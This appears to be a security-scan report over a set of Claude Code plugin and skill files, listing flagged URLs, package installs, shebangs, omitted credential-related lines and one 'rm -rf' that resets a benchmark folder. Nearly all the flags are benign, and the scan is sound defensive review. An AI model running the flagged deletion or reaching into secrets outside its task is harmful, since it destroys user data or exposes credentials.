    - Markdown processing: <https://blog.kowalczyk.info/article/cxn3/advanced-markdown-processing-in-go.html>
  • Network accessline 706
    - GitHub repository: <https://github.com/gomarkdown/markdown>
  • Network accessline 710
    - Official documentation: <https://jekyllrb.com/docs/>
  • Network accessline 711
    - Configuration options: <https://jekyllrb.com/docs/configuration/options/>
  • Network accessline 712
    - Plugins: <https://jekyllrb.com/docs/plugins/>
  • Network accessline 713
    - [Installation](https://jekyllrb.com/docs/plugins/installation/)
  • Network accessline 714
    - [Generators](https://jekyllrb.com/docs/plugins/generators/)
  • Network accessline 715
    - [Converters](https://jekyllrb.com/docs/plugins/converters/)
  • Network accessline 716
    - [Commands](https://jekyllrb.com/docs/plugins/commands/)
  • Network accessline 717
    - [Tags](https://jekyllrb.com/docs/plugins/tags/)
  • Network accessline 718
    - [Filters](https://jekyllrb.com/docs/plugins/filters/)
  • Network accessline 719
    - [Hooks](https://jekyllrb.com/docs/plugins/hooks/)
  • Network accessline 720
    - GitHub repository: <https://github.com/jekyll/jekyll>
  • Network accessline 724
    - Official documentation: <https://gohugo.io/documentation/>
  • Network accessline 725
    - All Settings: <https://gohugo.io/configuration/all/>
  • Network accessline 726
    - Editor Plugins: <https://gohugo.io/tools/editors/>
  • Network accessline 727
    - GitHub repository: <https://github.com/gohugoio/hugo>

harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/gomarkdown.md

  • Network accessline 249
    - [Package Documentation](https://pkg.go.dev/github.com/gomarkdown/markdown)
  • Network accessline 250
    - [Advanced Processing Guide](https://blog.kowalczyk.info/article/cxn3/advanced-markdown-processing-in-go.html)
  • Network accessline 251
    - [GitHub Repository](https://github.com/gomarkdown/markdown)
  • Network accessline 252
    - [CLI Tool](https://github.com/gomarkdown/mdtohtml)
  • Network accessline 253
    - [Bluemonday Sanitizer](https://github.com/microcosm-cc/bluemonday)

harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/hugo.md

  • Dangerous shell operationline 34
    sudo apt-get install hugo
  • Network accessline 36
    # Or download from https://gohugo.io/installation/
  • Network accessline 48
    # Initialize git and add theme git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke
  • Network accessline 49
    git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke echo "theme = 'ananke'" >> hugo.toml
  • Network accessline 50
    git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke
  • Network accessline 135
    # Basic settings baseURL = 'https://example.com/'
  • Network accessline 136
    baseURL = 'https://example.com/'
  • Network accessline 390
    - [Hugo Documentation](https://gohugo.io/documentation/)
  • Network accessline 391
    - [Hugo Themes](https://themes.gohugo.io/)
  • Network accessline 392
    - [Hugo Discourse](https://discourse.gohugo.io/)
  • Network accessline 393
    - [GitHub Repository](https://github.com/gohugoio/hugo)
  • Network accessline 394
    - [Quick Reference](https://gohugo.io/quick-reference/)

harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/jekyll.md

  • Dangerous shell operationline 28
    sudo apt-get install ruby-full build-essential zlib1g-dev
  • Network accessline 31
    # Windows (use RubyInstaller) # Download from https://rubyinstaller.org/
  • Network accessline 32
    # Download from https://rubyinstaller.org/
  • Network accessline 50
    # Open http://localhost:4000
  • Network accessline 116
    description: A great blog baseurl: "" url: "https://example.com"
  • Network accessline 118
    url: "https://example.com"
  • Network accessline 317
    - [Jekyll Documentation](https://jekyllrb.com/docs/)
  • Network accessline 318
    - [Liquid Template Language](https://shopify.github.io/liquid/)
  • Network accessline 319
    - [Kramdown Documentation](https://kramdown.gettalong.org/)
  • Network accessline 320
    - [GitHub Repository](https://github.com/jekyll/jekyll)
  • Network accessline 321
    - [Jekyll Themes](https://jekyllthemes.io/)

harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/marked.md

  • Network accessline 33
    <script src="https://cdn.jsdelivr.net/npm/marked/lib/marked.umd.js"></script>

harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/pandoc.md

  • Network accessline 16
    # Or download installer from https://pandoc.org/installing.html
  • Dangerous shell operationline 30
    sudo apt-get install pandoc
  • Dangerous shell operationline 33
    sudo dnf install pandoc
  • Network accessline 35
    # Or download from https://pandoc.org/installing.html
  • Network accessline 223
    - [Pandoc User's Guide](https://pandoc.org/MANUAL.html)
  • Network accessline 224
    - [Pandoc Demos](https://pandoc.org/demos.html)
  • Network accessline 225
    - [Pandoc FAQ](https://pandoc.org/faqs.html)
  • Network accessline 226
    - [GitHub Repository](https://github.com/jgm/pandoc)

harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/tables.md

  • Network accessline 17
    ![Screenshot of a GitHub Markdown table rendered as two equal columns. Headers are shown in boldface, and alternate content rows have gray shading.](https://docs.github.com/assets/images/help/writing/table-basic-rendered.png)
  • Network accessline 30
    ![Screenshot of a GitHub Markdown table with two columns of differing width. Rows list the commands "git status" and "git diff" and their descriptions.](https://docs.github.com/assets/images/help/writing/table-varied-columns-rendered.png)
  • Network accessline 32
    If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on GitHub. For more information, see [About writing and formatting on GitHub](https://docs.github.com/get-started
  • Network accessline 36
    You can use [formatting](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) such as links, inline code blocks, and text styling within your table:
  • Network accessline 45
    ![Screenshot of a GitHub Markdown table with the commands formatted as code blocks. Bold and italic formatting are used in the descriptions.](https://docs.github.com/assets/images/help/writing/table-inline-formatting-rendered.png)
  • Network accessline 56
    ![Screenshot of a Markdown table with three columns as rendered on GitHub, showing how text within cells can be set to align left, center, or right.](https://docs.github.com/assets/images/help/writing/table-aligned-text-rendered.png)
  • Network accessline 67
    ![Screenshot of a Markdown table as rendered on GitHub showing how pipes, which normally close cells, are shown when prefaced by a backslash.](https://docs.github.com/assets/images/help/writing/table-escaped-character-rendered.png)
  • Network accessline 71
    * [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
  • Network accessline 72
    * [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)

harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/writing-mathematical-expressions-to-html.md

  • Network accessline 14
    <p>This sentence uses <code>$</code> delimiters to show math inline:  <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 15
    <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 45
    <p>This sentence uses  <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 46
    <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">    <mo>‘</mo>
  • Network accessline 47
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 54
    </math-renderer> delimiters to show math inline:  <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 55
    <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">    <msqrt>
  • Network accessline 56
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 92
    <strong>The Cauchy-Schwarz Inequality</strong><br>   <math-renderer>     <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 93
    <math-renderer>     <math xmlns="http://www.w3.org/1998/Math/MathML">       <msup>
  • Network accessline 94
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 176
    <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 177
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 252
    <p>The equation  <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 253
    <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 283
    <p><math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 317
    <code>\$</code> to display a dollar sign:  <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 318
    <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">    <msqrt>
  • Network accessline 319
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 339
    <span>$</span>100 in half, we calculate  <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 340
    <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">    <mn>100</mn>
  • Network accessline 341
    <math xmlns="http://www.w3.org/1998/Math/MathML">

harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/writing-mathematical-expressions.md

  • Network accessline 7
    To enable clear communication of mathematical expressions, GitHub supports LaTeX formatted math within Markdown. For more information, see [LaTeX/Mathematics](http://en.wikibooks.org/wiki/LaTeX/Mathematics) in Wikibooks.
  • Network accessline 9
    GitHub's math rendering capability uses MathJax; an open source, JavaScript-based display engine. MathJax supports a wide range of LaTeX macros, and several useful accessibility extensions. For more information, see [the MathJax documentati
  • Network accessline 15
    There are two options for delimiting a math expression inline with your text. You can either surround the expression with dollar symbols (`$`), or start the expression with <code>$\`</code> and end it with <code>\`$</code>. The latter synta
  • Network accessline 21
    ![Screenshot of rendered Markdown showing an inline mathematical expression: the square root of 3x minus 1 plus (1 plus x) squared.](https://docs.github.com/assets/images/help/writing/inline-math-markdown-rendering.png)
  • Network accessline 27
    ![Screenshot of rendered Markdown showing an inline mathematical expression with backtick syntax: the square root of 3x minus 1 plus (1 plus x) squared.](https://docs.github.com/assets/images/help/writing/inline-backtick-math-markdown-rende
  • Network accessline 33
    >  [!TIP] If you're writing in an .md file, you will need to use specific formatting to create a line break, such as ending the line with a backslash as shown in the example below. For more information on line breaks in Markdown, see [Basic
  • Network accessline 40
    ![Screenshot of rendered Markdown showing a complex equation. Bold text reads "The Cauchy-Schwarz Inequality" above the formula for the inequality.](https://docs.github.com/assets/images/help/writing/math-expression-as-a-block-rendering.png
  • Network accessline 62
    ![Screenshot of rendered Markdown showing how a backslash before a dollar sign displays the sign as part of a mathematical expression.](https://docs.github.com/assets/images/help/writing/dollar-sign-within-math-expression.png)
  • Network accessline 70
    ![Screenshot of rendered Markdown showing how span tags around a dollar sign display the sign as inline text not as part of a mathematical equation.](https://docs.github.com/assets/images/help/writing/dollar-sign-inline-math-expression.png)
  • Network accessline 74
    * [The MathJax website](http://mathjax.org)
  • Network accessline 75
    * [Getting started with writing and formatting on GitHub](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github)
  • Network accessline 76
    * [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)

harness/claude-code/plugins/code-quality-refactoring/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/code-quality-refactoring/skills/em-dash/SKILL.md

  • Network accessline 109
    - [Case for the em dash](https://www.hardingproject.com/p/the-case-for-the-em-dash)
  • Network accessline 110
    - [em dash guide](https://www.thebookrefinery.com/writing/guide-hyphens-en-dashes-em-dashes/)
  • Network accessline 111
    - [Explaining the em dash](https://www.reddit.com/r/writers/comments/1lv191m/can_someone_explain_em_dash/)
  • Network accessline 112
    - [em dash wikipedia](https://en.wikipedia.org/wiki/Dash)
  • Network accessline 113
    - [Verbose em dash history](https://www.linkedin.com/pulse/long-mark-brief-history-em-dash-christian-buckley-z1lbc)
  • Network accessline 114
    - [Brief em dash history](https://thaothai.substack.com/p/a-brief-history-of-the-em-dash)
  • Network accessline 115
    - [em dash punctuation](https://www.nytimes.com/2019/08/14/style/em-dash-punctuation.html)
  • Network accessline 116
    - [em dash in retrospective](https://medium.com/the-jabber-journal/an-era-to-its-knee-an-em-dash-retrospective-cb5c3c52e4d2)
  • Network accessline 117
    - [Punctuation](https://www.niu.edu/writing-tutorial/punctuation/index.shtml)
  • Network accessline 118
    - [Punctuation Guide](https://www.thepunctuationguide.com/)

harness/claude-code/plugins/code-quality-refactoring/skills/quality-playbook/LICENSE.txt

  • Network accessline 1
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 3
    http://www.apache.org/licenses/
  • Network accessline 184
    http://www.apache.org/licenses/LICENSE-2.0

harness/claude-code/plugins/code-quality-refactoring/skills/quality-playbook/SKILL.md

  • Network accessline 11
    metadata:   author: Andrew Stellman   github: "https://github.com/andrewstellman/quality-playbook"
  • Network accessline 12
    author: Andrew Stellman   github: "https://github.com/andrewstellman/quality-playbook"   version: 1.5.6
  • Network accessline 13
    github: "https://github.com/andrewstellman/quality-playbook"
  • Network accessline 57
    > Quality Playbook v1.5.6 — by Andrew Stellman > https://github.com/andrewstellman/quality-playbook
  • Network accessline 58
    > https://github.com/andrewstellman/quality-playbook
  • Network accessline 257
    - https://github.com/andrewstellman/quality-playbook

harness/claude-code/plugins/code-quality-refactoring/skills/quality-playbook/agents/calibration_orchestrator.md

  • Dangerous shell operationline 99
    3. Reset the benchmark's `quality/` to a known-empty state: `cp -r repos/archive/<bench>/quality/previous_runs/<latest>/ /tmp/save-<bench>/ && rm -rf repos/archive/<bench>/quality/* && cp -r /tmp/save-<bench>/quality/* repos/archive/<bench>

harness/claude-code/plugins/code-quality-refactoring/skills/quality-playbook/agents/quality-playbook-claude.agent.md

  • Network accessline 58
    **If not found**, tell the user to install it from https://github.com/andrewstellman/quality-playbook and stop.

harness/claude-code/plugins/code-quality-refactoring/skills/quality-playbook/agents/quality-playbook.agent.md

  • Network accessline 54
    > The quality playbook skill isn't installed in this repository yet. Install it from the [quality-playbook repository](https://github.com/andrewstellman/quality-playbook):

harness/claude-code/plugins/code-quality-refactoring/skills/quality-playbook/quality_gate.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/code-quality-refactoring/skills/quality-playbook/references/extended-guide.md

  • Network accessline 1081
    > Generated by [Quality Playbook](https://github.com/andrewstellman/quality-playbook) v1.5.3 — Andrew Stellman
  • Network accessline 1088
    # Generated by Quality Playbook v1.5.6 — https://github.com/andrewstellman/quality-playbook

harness/claude-code/plugins/code-quality-refactoring/skills/quality-playbook/references/review_protocols.md

  • Access to secretsline 425
    [Credential-related source omitted]

harness/claude-code/plugins/codebase-blueprints/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/codebase-blueprints/skills/acquire-codebase-knowledge/references/inquiry-checkpoints.md

  • Network accessline 46
    - What external APIs are called? (search for `axios.`, `fetch(`, `http.Get(`, base URLs in constants)

harness/claude-code/plugins/codebase-blueprints/skills/acquire-codebase-knowledge/scripts/scan.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/color-orb/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Aaron Powell",     "url": "https://github.com/aaronpowell"
  • Network accessline 6
    "name": "Aaron Powell",     "url": "https://github.com/aaronpowell"   },
  • Network accessline 7
    "url": "https://github.com/aaronpowell"

harness/claude-code/plugins/context-engineering/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/context-matic/.claude-plugin/plugin.json

  • Network accessline 7
    "email": "developer@apimatic.io"   },   "homepage": "https://www.apimatic.io",
  • Network accessline 8
    },   "homepage": "https://www.apimatic.io",   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 9
    "homepage": "https://www.apimatic.io",
  • Network accessline 10
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/convert-to-md/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Willie Yao",     "url": "https://github.com/1YaoWei0"
  • Network accessline 6
    "name": "Willie Yao",     "url": "https://github.com/1YaoWei0"   },
  • Network accessline 7
    "url": "https://github.com/1YaoWei0"
  • Network accessline 8
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 9
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/convert-to-md/skills/convert-excel-to-md/references/setup.md

  • Dangerous shell operationline 16
    - Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`

harness/claude-code/plugins/convert-to-md/skills/convert-excel-to-md/scripts/convert_excel_to_md.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 64
    _REL_NS = "http://schemas.openxmlformats.org/package/2006/relationships"
  • Network accessline 65
    _MAIN_NS = "http://schemas.openxmlformats.org/spreadsheetml/2006/main"
  • Network accessline 66
    _R_NS = "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 67
    _A_NS = "http://schemas.openxmlformats.org/drawingml/2006/main"

harness/claude-code/plugins/convert-to-md/skills/convert-pdf-to-md/references/setup.md

  • Dangerous shell operationline 16
    - Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`

harness/claude-code/plugins/convert-to-md/skills/convert-pdf-to-md/scripts/convert_pdf_to_md.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/convert-to-md/skills/convert-word-to-md/references/setup.md

  • Dangerous shell operationline 16
    - Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`

harness/claude-code/plugins/convert-to-md/skills/convert-word-to-md/scripts/convert_word_to_md.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 53
    _W_NS = "http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 54
    _R_NS = "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 55
    _REL_NS = "http://schemas.openxmlformats.org/package/2006/relationships"

harness/claude-code/plugins/copilot-customization-authoring/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/copilot-customization-authoring/skills/agent-skill-stack/references/security-installation.md

  • Access to secretsline 18
    [Credential-related source omitted]

harness/claude-code/plugins/copilot-customization-authoring/skills/agent-skill-stack/scripts/inventory_skills.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 32
    [Credential-related source omitted]

harness/claude-code/plugins/copilot-customization-authoring/skills/agent-skill-stack/scripts/project_profile.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/copilot-customization-authoring/skills/agent-skill-stack/scripts/render_stack_card.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 80
    parts = [         f'<svg xmlns="http://www.w3.org/2000/svg" width="{width}" height="{height}" viewBox="0 0 {width} {height}" role="img" aria-labelledby="title desc">',
  • Network accessline 81
    f'<svg xmlns="http://www.w3.org/2000/svg" width="{width}" height="{height}" viewBox="0 0 {width} {height}" role="img" aria-labelledby="title desc">',

harness/claude-code/plugins/copilot-customization-authoring/skills/agent-skill-stack/scripts/skill_index.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/copilot-customization-authoring/skills/agent-skill-stack/scripts/stage_install.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/copilot-customization-authoring/skills/ai-ready/SKILL.md

  • Network accessline 26
    This local skill is a wrapper. The full `ai-ready` skill by John Papa is large, changes frequently, and remains authoritative at `https://github.com/johnpapa/ai-ready`. John Papa's GitHub profile is `https://github.com/johnpapa`.
  • Network accessline 99
    - [ ] The user is told that `https://github.com/johnpapa/ai-ready` is the source of truth.
  • Network accessline 108
    - [John Papa](https://github.com/johnpapa)
  • Network accessline 109
    - [johnpapa/ai-ready](https://github.com/johnpapa/ai-ready)

harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-cli-quickstart/SKILL.md

  • Network accessline 164
    > Getting started is easy! Here's how:   >-  **Already have GitHub CLI?** `gh copilot` (built-in, no install needed)   >-  **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot`
  • Network accessline 165
    >-  **Already have GitHub CLI?** `gh copilot` (built-in, no install needed)   >-  **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot`   >-  **Requires:** A GitHub Copilot subscrip
  • Network accessline 166
    >-  **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot`
  • Network accessline 167
    >-  **Requires:** A GitHub Copilot subscription ([check here](https://github.com/settings/copilot))
  • Network accessline 197
    - **If subscription issues:** "It looks like Copilot might not be enabled for your account. Check [github.com/settings/copilot](https://github.com/settings/copilot) to confirm you have an active subscription. If you're in an organization, y

harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-cli-quickstart/references/extended-guide.md

  • Network accessline 465
    • /model — try different AI models    • /mcp — extend with MCP servers    • https://docs.github.com/copilot — official docs
  • Network accessline 467
    • https://docs.github.com/copilot — official docs
  • Network accessline 485
    • Try the Developer track for deeper skills    • /help — see ALL available commands    • https://docs.github.com/copilot — official docs
  • Network accessline 487
    • https://docs.github.com/copilot — official docs
  • Network accessline 496
    1. **Consult the latest docs** (for example, https://docs.github.com/copilot) or any available local documentation tools to ensure accuracy
  • Network accessline 545
    ### If `fetch_copilot_cli_documentation` fails or returns empty: - Don't panic! Answer from your built-in knowledge - Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot "
  • Network accessline 546
    - Don't panic! Answer from your built-in knowledge - Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot " - Never fabricate features or commands
  • Network accessline 547
    - Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot "

harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-usage-metrics/get-enterprise-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-usage-metrics/get-enterprise-user-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-usage-metrics/get-org-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-usage-metrics/get-org-user-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/copilot-customization-authoring/skills/github-copilot-starter/SKILL.md

  • Network accessline 39
    1. Inspect the repository for stack signals before asking questions. 2. Research `awesome-copilot` examples with web fetch before generating content:    - https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md
  • Network accessline 40
    2. Research `awesome-copilot` examples with web fetch before generating content:    - https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md    - https://github.com/github/awesome-copilot/blob/main/docs/README.agent
  • Network accessline 41
    - https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md
  • Network accessline 42
    - https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md
  • Network accessline 43
    - https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md
  • Network accessline 44
    - https://github.com/github/awesome-copilot/tree/main/instructions
  • Network accessline 45
    - https://github.com/github/awesome-copilot/tree/main/agents
  • Network accessline 46
    - https://github.com/github/awesome-copilot/tree/main/skills
  • Network accessline 125
    <!-- Based on/Inspired by: https://github.com/github/awesome-copilot/blob/main/instructions/{filename}.instructions.md -->
  • Network accessline 146
    <!-- Based on: https://github.com/github/awesome-copilot/blob/main/instructions/nodejs-javascript-vitest.instructions.md -->
  • Network accessline 147
    <!-- Inspired by: https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md -->
  • Network accessline 148
    <!-- and: https://github.com/github/awesome-copilot/blob/main/instructions/springboot.instructions.md -->
  • Network accessline 177
    <!-- Based on/Inspired by: https://github.com/github/awesome-copilot/blob/main/agents/{filename}.agent.md -->
  • Network accessline 280
    - [awesome-copilot instructions docs](https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md)
  • Network accessline 281
    - [awesome-copilot agents docs](https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md)
  • Network accessline 282
    - [awesome-copilot skills docs](https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md)
  • Network accessline 283
    - [awesome-copilot instructions directory](https://github.com/github/awesome-copilot/tree/main/instructions)
  • Network accessline 284
    - [awesome-copilot agents directory](https://github.com/github/awesome-copilot/tree/main/agents)
  • Network accessline 285
    - [awesome-copilot skills directory](https://github.com/github/awesome-copilot/tree/main/skills)

harness/claude-code/plugins/copilot-customization-authoring/skills/harness-engineering/SKILL.md

  • Network accessline 125
    The prompt-first harness workflow at `https://github.com/baskduf/harness-starter-kit` is optional reference material only when the user asks for it or the target repository already uses it. Do not let that reference override repository evid
  • Network accessline 162
    - [Harness starter kit](https://github.com/baskduf/harness-starter-kit)

harness/claude-code/plugins/copilot-customization-authoring/skills/lsp-setup/SKILL.md

  • Network accessline 138
    - [VS Code known language identifiers](https://code.visualstudio.com/docs/languages/identifiers#_known-language-identifiers)

harness/claude-code/plugins/copilot-customization-authoring/skills/lsp-setup/references/lsp-servers.md

  • Network accessline 11
    **Server**: [typescript-language-server](https://github.com/typescript-language-server/typescript-language-server)
  • Network accessline 40
    **Server**: [Eclipse JDT Language Server (jdtls)](https://github.com/eclipse-jdtls/eclipse.jdt.ls)
  • Network accessline 47
    |---------|-----------------------------------| | macOS   | `brew install jdtls`              | | Linux   | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ |
  • Network accessline 48
    | macOS   | `brew install jdtls`              | | Linux   | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ | | Windows | Download from https://download.eclipse.
  • Network accessline 49
    | Linux   | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ |
  • Network accessline 50
    | Windows | Download from https://download.eclipse.org/jdtls/milestones/ and add `bin/` to `PATH` |
  • Network accessline 68
    > **Note**: The `jdtls` wrapper script handles `--stdio` mode internally. If using a manual install, you may need to invoke the launcher jar directly — see the [jdtls README](https://github.com/eclipse-jdtls/eclipse.jdt.ls#running-from-comm
  • Network accessline 74
    **Server**: [pyright](https://github.com/microsoft/pyright)
  • Network accessline 101
    **Server**: [gopls](https://github.com/golang/tools/tree/master/gopls)
  • Network accessline 128
    **Server**: [rust-analyzer](https://github.com/rust-lang/rust-analyzer)
  • Network accessline 157
    **Server**: [clangd](https://clangd.llvm.org/)
  • Network accessline 163
    | macOS   | `brew install llvm` (clangd included) or Xcode command line tools | | Linux   | `apt install clangd` / `dnf install clang-tools-extra` | | Windows | Download LLVM from https://releases.llvm.org/ |
  • Network accessline 165
    | Windows | Download LLVM from https://releases.llvm.org/ |
  • Network accessline 191
    **Server**: [Roslyn Language Server](https://github.com/dotnet/roslyn) (via `dotnet dnx`)
  • Network accessline 195
    | OS      | Command                                                        | |---------|----------------------------------------------------------------| | Any     | Requires the [.NET SDK](https://dot.net/download) installed    |
  • Network accessline 197
    | Any     | Requires the [.NET SDK](https://dot.net/download) installed    |
  • Network accessline 217
    **Server**: [solargraph](https://github.com/castwide/solargraph)
  • Network accessline 245
    **Server**: [intelephense](https://github.com/bmewburn/vscode-intelephense)
  • Network accessline 271
    **Server**: [kotlin-language-server](https://github.com/fwcd/kotlin-language-server)
  • Network accessline 299
    **Server**: [sourcekit-lsp](https://github.com/swiftlang/sourcekit-lsp) (bundled with Swift toolchain)
  • Network accessline 304
    |---------|----------------------------------------------------------------| | macOS   | Included with Xcode; binary at `xcrun sourcekit-lsp`           | | Linux   | Included with Swift toolchain; install from https://swift.org  |
  • Network accessline 305
    | macOS   | Included with Xcode; binary at `xcrun sourcekit-lsp`           | | Linux   | Included with Swift toolchain; install from https://swift.org  | | Windows | Included with Swift toolchain; install from https://swift.org  |
  • Network accessline 306
    | Linux   | Included with Swift toolchain; install from https://swift.org  |
  • Network accessline 307
    | Windows | Included with Swift toolchain; install from https://swift.org  |
  • Network accessline 329
    **Server**: [lua-language-server](https://github.com/LuaLS/lua-language-server)
  • Network accessline 357
    **Server**: [yaml-language-server](https://github.com/redhat-developer/yaml-language-server)
  • Network accessline 384
    **Server**: [bash-language-server](https://github.com/bash-lsp/bash-language-server)

harness/claude-code/plugins/copilot-customization-authoring/skills/microsoft-skill-creator/SKILL.md

  • Network accessline 8
    metadata:   compatibility: >-     Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use
  • Network accessline 9
    compatibility: >-     Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use     the mslearn CLI as a fallback.
  • Network accessline 10
    Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use
  • Network accessline 31
    - Prefer the Microsoft Learn MCP Server at `https://learn.microsoft.com/api/mcp` when available.
  • Network accessline 106
    For a Semantic Kernel skill, use `semantic-kernel/`, `sample_codes/getting-started/hello-kernel.cs`, `sample_codes/common-patterns/chat-completion.cs`, and `sample_codes/common-patterns/function-calling.cs`. Useful seed lookups include `mic
  • Network accessline 158
    - [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp)
